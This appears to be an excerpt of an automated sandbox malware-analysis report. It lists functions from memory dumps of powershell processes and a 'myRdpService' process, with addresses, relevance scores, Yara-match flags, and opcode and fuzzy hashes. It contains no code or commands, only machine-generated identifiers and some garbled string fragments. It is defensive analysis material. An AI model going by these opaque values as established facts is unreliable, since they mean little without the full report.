                                                                                                                                            • Opcode ID: 0f3f96051d0eb21c3945a3f0a1a11fbbf54d8e2d0602f5fb5ac0557b9058b17e
                                                                                                                                            • Instruction ID: 2da5674f6c7dcf88e2ca6a6510b043f6a10ae95a4768d8443725d7fda90346ac
                                                                                                                                            • Opcode Fuzzy Hash: 0f3f96051d0eb21c3945a3f0a1a11fbbf54d8e2d0602f5fb5ac0557b9058b17e
                                                                                                                                            • Instruction Fuzzy Hash: 08114C26B55B058AEB009F70E8542B973A4FB19768F850A35DE2D827A8DFB8D194C350

                                                                                                                                            Executed Functions

                                                                                                                                            Function 00007FFC057A77A6 Relevance: .5, Instructions: 470COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001A.00000002.1698680266.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_26_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: a47fd6a513ecf6a34275c9d38dd4491164b2ecd8676d56eb7a53e61fb6fcea85
                                                                                                                                            • Instruction ID: 45f6a884900a9fe62ffe111ff19dc9af890af0374f963eabe30c46450257103e
                                                                                                                                            • Opcode Fuzzy Hash: a47fd6a513ecf6a34275c9d38dd4491164b2ecd8676d56eb7a53e61fb6fcea85
                                                                                                                                            • Instruction Fuzzy Hash: 7FF1A130918A8E8FEBA8DF2CC8457E977D1FF94310F04466AE84DC7295CB34A941CB92
                                                                                                                                            Function 00007FFC057A8552 Relevance: .5, Instructions: 460COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001A.00000002.1698680266.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_26_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: e80681f8182f7f096383b0276f90172194eb928064a9068e194b1d0622c49bf1
                                                                                                                                            • Instruction ID: 0efd7adb1bf48179e94a7373f43551d58963494ba2f0aecb6655ea0d6a2a79c5
                                                                                                                                            • Opcode Fuzzy Hash: e80681f8182f7f096383b0276f90172194eb928064a9068e194b1d0622c49bf1
                                                                                                                                            • Instruction Fuzzy Hash: 9FE1D330918A8E8FEBA8DF28C8557E977D1EF94710F04467EE84DC7291CE789841C792
                                                                                                                                            Function 00007FFC057A8166 Relevance: .3, Instructions: 331COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001A.00000002.1698680266.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_26_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 301b736927eef407c1931970ce56e78db8189377cd8520d3bca8344fafb32579
                                                                                                                                            • Instruction ID: 8ab7998b5a96cc68740e6d2ae262e54a396f37421af3153a7cface8fd40bec55
                                                                                                                                            • Opcode Fuzzy Hash: 301b736927eef407c1931970ce56e78db8189377cd8520d3bca8344fafb32579
                                                                                                                                            • Instruction Fuzzy Hash: 86B1A23051CA8D8FEBA8DF28D855BF93BD1EF55310F04426EE84DC7292DA34A841CB92
                                                                                                                                            Function 00007FFC057A7C64 Relevance: .1, Instructions: 92COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001A.00000002.1698680266.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_26_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 8013aebc90ddea38dbf5d26d654ee3816afc9216bfbf6ac1a407514b42e176fc
                                                                                                                                            • Instruction ID: d42c9c76a695b4649f44a9beea4170569f19da86db238146e5e61ff4c6bd28bc
                                                                                                                                            • Opcode Fuzzy Hash: 8013aebc90ddea38dbf5d26d654ee3816afc9216bfbf6ac1a407514b42e176fc
                                                                                                                                            • Instruction Fuzzy Hash: D93121348286ADCFFBB89F18DC09BF93295FF85715F400939D40DC6192DA38698ADB21
                                                                                                                                            Function 00007FFC057A33B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001A.00000002.1698680266.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_26_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: f7b784197025fde0e1c1f41fb264ee87d323bcb4f61a4d527f39ad22688a8d80
                                                                                                                                            • Instruction ID: 26da96db6c0cabb186bc5a88e0958a9a4f24729b99fc620c3642997a9581e23f
                                                                                                                                            • Opcode Fuzzy Hash: f7b784197025fde0e1c1f41fb264ee87d323bcb4f61a4d527f39ad22688a8d80
                                                                                                                                            • Instruction Fuzzy Hash: 7A01677111CB0C8FD744EF0CE451AA5B7E0FB95324F10056DE58AC3651DA36E892CB45

                                                                                                                                            Non-executed Functions

                                                                                                                                            Function 00007FFC057A0665 Relevance: 7.6, Strings: 6, Instructions: 69COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001A.00000002.1698680266.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_26_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: (0?c$8,?c$H1?c$P/?c$p0?c$/?c
                                                                                                                                            • API String ID: 0-3729774040
                                                                                                                                            • Opcode ID: b7bf825d526702aeb8c1d740fe2f22e1af10e0dda66770289218ec9a600e3d0f
                                                                                                                                            • Instruction ID: 16a01639cb008a81fe9c89b6eee23c5177966e1b1bc2bd43fdea46bcafe2f48b
                                                                                                                                            • Opcode Fuzzy Hash: b7bf825d526702aeb8c1d740fe2f22e1af10e0dda66770289218ec9a600e3d0f
                                                                                                                                            • Instruction Fuzzy Hash: 6611D88A52E6E64FF655875D181C074AF60AFC2B14B1C89FFC088CB1DF44549C0793A6
                                                                                                                                            Function 00007FFC057A0645 Relevance: 6.3, Strings: 5, Instructions: 76COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001A.00000002.1698680266.00007FFC057A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057A0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_26_2_7ffc057a0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: (0?c$8,?c$P/?c$p0?c$/?c
                                                                                                                                            • API String ID: 0-715139291
                                                                                                                                            • Opcode ID: 8c4734f50e1d7540bc093442c7a3f4f52187e082ccfab08a5d3b628ed9668f9a
                                                                                                                                            • Instruction ID: 053c39797b4463ed2132ce9e51a5d20067cdb5b4d40a642f794fb1442685ebee
                                                                                                                                            • Opcode Fuzzy Hash: 8c4734f50e1d7540bc093442c7a3f4f52187e082ccfab08a5d3b628ed9668f9a
                                                                                                                                            • Instruction Fuzzy Hash: 1E21D88A52E6E64FF655875D181C1746F60AFC2B14B1849FFC088CB1DB84549C47D3B6

                                                                                                                                            Executed Functions

                                                                                                                                            Function 00007FFC05797130 Relevance: 2.9, Strings: 2, Instructions: 354COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: }$c$r6"c
                                                                                                                                            • API String ID: 0-1084718084
                                                                                                                                            • Opcode ID: 421461137026aa7fe5d371afb870e366a6f27e136f1c669ae4f3ef37071e783f
                                                                                                                                            • Instruction ID: 2faee0631084a50e34898212164181008a667f60355ff59710dc89f4ed67e1f4
                                                                                                                                            • Opcode Fuzzy Hash: 421461137026aa7fe5d371afb870e366a6f27e136f1c669ae4f3ef37071e783f
                                                                                                                                            • Instruction Fuzzy Hash: D8A18371E3CA5E4BEF58EA6C88556BDB7E1EF95710F10053ED00EC3682DE24A842C7A1
                                                                                                                                            Function 00007FFC057984DA Relevance: 5.5, Strings: 4, Instructions: 526COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: @$O_^$O_^$`)A
                                                                                                                                            • API String ID: 0-3436879505
                                                                                                                                            • Opcode ID: c82d4ba388512fb3baa09fe96795ce7989c5c3573d0ed97efbfd2fd014e9a6d9
                                                                                                                                            • Instruction ID: a2ba196bb091893c29a7566cc0adcc1e73e0d82f0cb0dad51b9c9041b5434948
                                                                                                                                            • Opcode Fuzzy Hash: c82d4ba388512fb3baa09fe96795ce7989c5c3573d0ed97efbfd2fd014e9a6d9
                                                                                                                                            • Instruction Fuzzy Hash: 7AE1396192D7DE4FE756DB2C88516A57BE1EF57710F0805BAD089CB1D3CA28A807C372
                                                                                                                                            Function 00007FFC05796700 Relevance: 2.6, Strings: 2, Instructions: 141COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: }$c$r6"c
                                                                                                                                            • API String ID: 0-1084718084
                                                                                                                                            • Opcode ID: a3b3bb2d29bf7cc9fb311b15b1f7595654b8daabae154ab644f4d65cce8de971
                                                                                                                                            • Instruction ID: 6146252dcba576949772f74f480d8cb8f6e84b1292395e3f3b6020e9f2b6ee84
                                                                                                                                            • Opcode Fuzzy Hash: a3b3bb2d29bf7cc9fb311b15b1f7595654b8daabae154ab644f4d65cce8de971
                                                                                                                                            • Instruction Fuzzy Hash: A9419761A3891E4BEFACE62C8451ABDB3E1EF96B10F100679D40FC7682DD246842D7B1
                                                                                                                                            Function 00007FFC0579B040 Relevance: 1.3, Strings: 1, Instructions: 83COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: r6"c
                                                                                                                                            • API String ID: 0-3013433579
                                                                                                                                            • Opcode ID: 88b814c5f784cd7b213003a13f2b97c3cc2eda5ef3ea306fd5f1f6b31ff46d81
                                                                                                                                            • Instruction ID: 20c47dc3edf47caf0bc26067fa4c474b39d788ec64897c430b5b52a8cfbf25c6
                                                                                                                                            • Opcode Fuzzy Hash: 88b814c5f784cd7b213003a13f2b97c3cc2eda5ef3ea306fd5f1f6b31ff46d81
                                                                                                                                            • Instruction Fuzzy Hash: EF217F7161C7998FD790EB6CD44866ABBE0FB99710F104E7AE08CC3291DB78D885C762
                                                                                                                                            Function 00007FFC05797030 Relevance: .4, Instructions: 359COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 655df086262ea4b2e2da7a4e3cb8956b3861a9060f5c287cde5af4b792de94b3
                                                                                                                                            • Instruction ID: e9b06aa22d885004201f14702876684b0a2363b29a24cf1809b2e6c23d8f73ea
                                                                                                                                            • Opcode Fuzzy Hash: 655df086262ea4b2e2da7a4e3cb8956b3861a9060f5c287cde5af4b792de94b3
                                                                                                                                            • Instruction Fuzzy Hash: 1AB1017191CA2C8FDB58DB58D8456F9B7F1FF69310F0042AED04ED3292DA706986CBA1
                                                                                                                                            Function 00007FFC0579AC32 Relevance: .2, Instructions: 154COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 571d7aa734f9e663ec0a5f09d517bac2ecf86106d01d9fd70686243c5be3dee8
                                                                                                                                            • Instruction ID: 9f78ca2ef540e6c486ec4de0493b23a56dbddd02661deb8068a88f4664da9d70
                                                                                                                                            • Opcode Fuzzy Hash: 571d7aa734f9e663ec0a5f09d517bac2ecf86106d01d9fd70686243c5be3dee8
                                                                                                                                            • Instruction Fuzzy Hash: 7C418231A2892D5BDB59E6288455AE9B3E1EF98710F0045BAD00EC3692DE34B946C7A0
                                                                                                                                            Function 00007FFC05797ED0 Relevance: .1, Instructions: 148COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 55fca2aaa43e4a14268aed546d0df494b468dc22ef9471502307242791148407
                                                                                                                                            • Instruction ID: 0b750e4c934420aa83c02c08e71258e45c837218940a48c73b57517f4a463785
                                                                                                                                            • Opcode Fuzzy Hash: 55fca2aaa43e4a14268aed546d0df494b468dc22ef9471502307242791148407
                                                                                                                                            • Instruction Fuzzy Hash: 8941D471828A5D8FEB68DB4CD8816F9B7F1FF59310F0045AAD04EE3641DA746947CBA0
                                                                                                                                            Function 00007FFC05797EEF Relevance: .1, Instructions: 128COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: c6ead9d6b39841a5e9b9ce9b9f2f8436de12b0df799f23efc2f6da4878c6666c
                                                                                                                                            • Instruction ID: 6b1cbe8bb7638be0816b9b9f280f201f27f06e0be524175c7d1d1730992a271a
                                                                                                                                            • Opcode Fuzzy Hash: c6ead9d6b39841a5e9b9ce9b9f2f8436de12b0df799f23efc2f6da4878c6666c
                                                                                                                                            • Instruction Fuzzy Hash: 8B417371918A1D8FDF58DB48D881BE9B3B1FF64310F00869AD04EE7251DA74AA86CF91
                                                                                                                                            Function 00007FFC057933B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 8b53b10aa1f576f962940570b8e984fec58478a812c5ce4fb5b520f8331efbef
                                                                                                                                            • Instruction ID: e3eff66df500ed612828d581e0ffe9414d2929589035c2cd13106f7d77c09cff
                                                                                                                                            • Opcode Fuzzy Hash: 8b53b10aa1f576f962940570b8e984fec58478a812c5ce4fb5b520f8331efbef
                                                                                                                                            • Instruction Fuzzy Hash: A601677115CB0C8FD744EF0CE451AA5B7E0FB95324F10056DE58AC3651DA36E892CB45
                                                                                                                                            Function 00007FFC05796F81 Relevance: .0, Instructions: 47COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 6ca002dd1de2717cf53f27b286d9252d6e05f801430bfa506265aaceb01311bf
                                                                                                                                            • Instruction ID: cdaf4c7b1e391fd66507d10bff73187e0dd07560b3b1dcd6a23c9fa1d7ec183b
                                                                                                                                            • Opcode Fuzzy Hash: 6ca002dd1de2717cf53f27b286d9252d6e05f801430bfa506265aaceb01311bf
                                                                                                                                            • Instruction Fuzzy Hash: 0801FC6181DF999FD357EB3844521A1BFE0DF5621030546EBC08ECB9A3D924588AC3B2
                                                                                                                                            Function 00007FFC05796FA0 Relevance: .0, Instructions: 35COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000001E.00000002.1690112495.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_30_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: f971020d2f0577f714d8937e1f6f46d01dbc2824bec5db2009df083709cc8241
                                                                                                                                            • Instruction ID: 8d2d57dbe74a00f2fb96f9fadf197ad549634f3395f76a614d87f6eb093f1cb7
                                                                                                                                            • Opcode Fuzzy Hash: f971020d2f0577f714d8937e1f6f46d01dbc2824bec5db2009df083709cc8241
                                                                                                                                            • Instruction Fuzzy Hash: 01F0892191CF5D4FD769EF2C40411A6B6F1EF9931070547BBC04FC7656DE34684983A1

                                                                                                                                            Non-executed Functions

                                                                                                                                            Function 00007FF64A9DDB00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timethreadCOMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            APIs
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000002F.00000002.2313967375.00007FF64A921000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64A920000, based on PE: true
                                                                                                                                            • Associated: 0000002F.00000002.2313908231.00007FF64A920000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2315535899.00007FF64AE26000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2316218225.00007FF64AFE8000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2316218225.00007FF64B12C000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2317234565.00007FF64B380000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2317284395.00007FF64B382000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2317284395.00007FF64B39E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2317284395.00007FF64B3A0000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2317284395.00007FF64B3A3000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2317284395.00007FF64B3A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            • Associated: 0000002F.00000002.2317524529.00007FF64B3A8000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_47_2_7ff64a920000_myRdpService.jbxd
                                                                                                                                            Yara matches
                                                                                                                                            Similarity
                                                                                                                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                            • String ID: e_{
                                                                                                                                            • API String ID: 2933794660-3096218018
                                                                                                                                            • Opcode ID: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
                                                                                                                                            • Instruction ID: 49c3df239e832436a932c632a5753b6863f1f298e2913d21d68a79842b42041a
                                                                                                                                            • Opcode Fuzzy Hash: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
                                                                                                                                            • Instruction Fuzzy Hash: 01112A22B19F018AEB40EF61E8542B933A4FB19768F441E31EA6DC77A4DF78D194C380

                                                                                                                                            Executed Functions

                                                                                                                                            Function 00007FFC057B33B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000032.00000002.2139588974.00007FFC057B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057B0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_50_2_7ffc057b0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
                                                                                                                                            • Instruction ID: 3f3f000e5848b03a5b9332560c50c1b17798646a88e5adfd2664bf61fc5b46df
                                                                                                                                            • Opcode Fuzzy Hash: abec2792b95cc3134e75351a9277a07185e0420c5c5f3ff60835923a31afeda3
                                                                                                                                            • Instruction Fuzzy Hash: 9C01677111CB0C8FD744EF0CE451AA6B7E0FB95324F50066DE58AC3651DA36E892CB45

                                                                                                                                            Executed Functions

                                                                                                                                            Function 00007FFC0589041C Relevance: .2, Instructions: 235COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000003D.00000002.2299857016.00007FFC05890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05890000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_61_2_7ffc05890000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 6e08d812b5bb4ab2f3dffdc5cc18ca91c60c4756d96d9f028a4ac7142ac7c20f
                                                                                                                                            • Instruction ID: 78904d08612e7665d597298c0d1d81e372bb45fc4afdda63d7271392f12eaf88
                                                                                                                                            • Opcode Fuzzy Hash: 6e08d812b5bb4ab2f3dffdc5cc18ca91c60c4756d96d9f028a4ac7142ac7c20f
                                                                                                                                            • Instruction Fuzzy Hash: 8C6168B190CA9DDFEB95E76888585B53BE0FF59310F0806BBD80DC7192DE28D809C761
                                                                                                                                            Function 00007FFC05890454 Relevance: .2, Instructions: 195COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000003D.00000002.2299857016.00007FFC05890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05890000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_61_2_7ffc05890000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 51030844c88d22338980c4a5af9a1a81c0db9f3db9a5e0b211fa027b05d80bc1
                                                                                                                                            • Instruction ID: c79584b4ee6c9553a3a3a35ae0a5a471e856a438737adee65d0fc4abda573d8e
                                                                                                                                            • Opcode Fuzzy Hash: 51030844c88d22338980c4a5af9a1a81c0db9f3db9a5e0b211fa027b05d80bc1
                                                                                                                                            • Instruction Fuzzy Hash: E0513BB1D0DA9DDFEB94EB6988489B53BE1FF58304F08067AE80CC7192DB24D849C751
                                                                                                                                            Function 00007FFC057C34B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000003D.00000002.2298543722.00007FFC057C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057C0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_61_2_7ffc057c0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
                                                                                                                                            • Instruction ID: c5980d5a5135293cf4bf659c5b747603b41f06b9bbd0f82ba79b0b37d1125ff2
                                                                                                                                            • Opcode Fuzzy Hash: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
                                                                                                                                            • Instruction Fuzzy Hash: 8D01447111CB0C8FD744EF0CE451AA5B7E0FB95324F10056DE58AC3651D626E892CB45

                                                                                                                                            Non-executed Functions

                                                                                                                                            Function 00007FFC057C0525 Relevance: 6.4, Strings: 5, Instructions: 114COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000003D.00000002.2298543722.00007FFC057C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057C0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_61_2_7ffc057c0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: (0?c$8,?c$P/?c$-?c$/?c
                                                                                                                                            • API String ID: 0-2099995020
                                                                                                                                            • Opcode ID: 6976a6ce7edcde06bf35f5f9f069efe9022845079b7a5ea4e4b50abb91ade1a0
                                                                                                                                            • Instruction ID: a9982a994f0d174fa40f259062e95f14c1f7399190dd781dbfe83807e9ccf4fc
                                                                                                                                            • Opcode Fuzzy Hash: 6976a6ce7edcde06bf35f5f9f069efe9022845079b7a5ea4e4b50abb91ade1a0
                                                                                                                                            • Instruction Fuzzy Hash: 9C3129C691EEDACFFA16822C281C47DAFA1AF16A00F1909FFD0858B0DB94159D06D3A5